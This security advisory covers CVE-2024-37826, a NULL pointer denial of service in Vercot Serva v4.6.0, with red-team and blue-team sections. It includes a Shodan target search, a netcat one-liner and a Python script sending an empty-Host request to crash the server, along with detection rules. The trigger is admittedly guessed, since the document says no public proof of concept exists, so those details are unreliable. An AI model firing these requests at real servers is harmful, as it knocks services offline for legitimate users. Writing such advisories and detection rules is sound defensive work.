CVE-2024-37826

Executive Summary

CVE-2024-37826 identifies a critical NULL pointer dereference vulnerability in Vercot Serva v4.6.0. This flaw allows an unauthenticated attacker to trigger a Denial of Service (DoS) condition by sending a specially crafted HTTP request. The vulnerability resides in the HTTP server component of Serva, where improper handling of null pointers leads to application crashes. With no patch currently available and no public proof-of-concept code, the risk is elevated for organizations using this software in production environments. Immediate mitigation through network segmentation and input validation is recommended.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (network-based, low complexity, no authentication required), a reasonable estimate would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): None (N)
• Integrity (I): None (N)
• Availability (A): High (H)

Estimated CVSS Score: 7.5 (High) – based on AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Threat Level: High – due to ease of exploitation and lack of patch.

Deep Dive & Mechanics

The vulnerability is a classic NULL pointer dereference (CWE-476). In Vercot Serva v4.6.0, the HTTP request parser fails to validate a pointer before dereferencing it. When a crafted HTTP request is sent—likely one that omits expected headers or includes malformed data—the code attempts to access memory address 0x0, causing the application to crash.

Technical Flow:

1. Serva listens on a TCP port (default HTTP port).
2. An attacker sends a malformed HTTP request (e.g., missing Host header, invalid method, or premature termination).
3. The parser extracts a pointer from the request structure without checking if it is NULL.
4. The code dereferences this NULL pointer, leading to a segmentation fault.
5. The Serva process terminates, denying service to legitimate users.

Root Cause: Lack of input validation and null-checking in the HTTP request handling routine.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern:

Vulnerable Code (Conceptual):

void handle_request(Request *req) {
    char *header = req->headers->value; // No NULL check on req->headers
    // ... process header
}

Patched Code (Hypothetical):

void handle_request(Request *req) {
    if (req->headers == NULL) {
        send_error(req, 400, "Bad Request");
        return;
    }
    char *header = req->headers->value;
    // ... process header
}

The fix would involve adding NULL checks before dereferencing any pointer obtained from the request structure.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Environment:

• Target: Windows/Linux machine running Vercot Serva v4.6.0 on port 80.
• Attacker: Kali Linux with netcat or Python.

Exploit Steps:

1. Identify the target running Serva (e.g., via Shodan dork: "serva").
2. Send a crafted HTTP request that triggers the NULL pointer dereference.

Example Crafted Request (using netcat):

echo -e "GET / HTTP/1.1\r\nHost: \r\n\r\n" | nc -w 3 <target_ip> 80

Python Exploit Script:

import socket

target = "192.168.1.100"
port = 80

payload = b"GET / HTTP/1.1\r\nHost: \r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(payload)
s.close()

Expected Outcome: Serva process crashes, service becomes unavailable.

Blue Team (Defense)

Detection:

• Monitor for malformed HTTP requests (missing Host header, invalid methods).
• Use WAF rules to block requests with empty or malformed headers.
• Implement network segmentation to limit exposure of Serva.

Mitigation:

• If possible, disable HTTP functionality in Serva or restrict access via firewall.
• Apply input validation at the network perimeter (e.g., reverse proxy).
• Monitor logs for sudden crashes of the Serva process.

Indicators of Compromise (IOCs)

• Network: HTTP requests with missing or empty Host header.
• System: Serva process crash logs (segmentation fault, access violation).
• File: Core dump files (if enabled) showing NULL pointer dereference.
• Logs: Application logs indicating "Bad Request" or "Invalid pointer" before crash.

Example Log Entry:

[ERROR] Segmentation fault at 0x0 in handle_request()

Detection Engineering

YARA Rule

rule CVE_2024_37826_Serva_NULL_Pointer {
    meta:
        description = "Detects Vercot Serva v4.6.0 binary with NULL pointer dereference vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $s1 = "Serva" wide ascii
        $s2 = "4.6.0" wide ascii
        $s3 = "handle_request" wide ascii
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-37826 - Vercot Serva DoS via NULL Pointer Dereference
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects malformed HTTP requests targeting Vercot Serva v4.6.0
logsource:
    category: webserver
    product: serva
detection:
    selection:
        cs-method: 'GET'
        cs-uri: '/'
        cs-host: ''  # Empty Host header
    condition: selection
falsepositives:
    - Legitimate clients with misconfigured headers
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-37826 - Vercot Serva DoS Attempt"; flow:to_server; content:"Host: "; http_header; pcre:"/^Host:\s*$/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate Serva on a separate network segment with strict firewall rules.
2. Input Validation: Deploy a reverse proxy (e.g., Nginx, HAProxy) to validate HTTP requests before they reach Serva.
3. Disable HTTP: If not required, disable the HTTP server component of Serva.

Long-term Fix:

• Contact Vercot for an official patch or update to a newer version.
• Monitor vendor channels for security advisories.

Workaround:

• Use a WAF rule to block requests with empty Host headers:

  SecRule REQUEST_HEADERS:Host "^$" "id:1000,phase:1,deny,status:400,msg:'Empty Host header blocked'"
  

Valters IT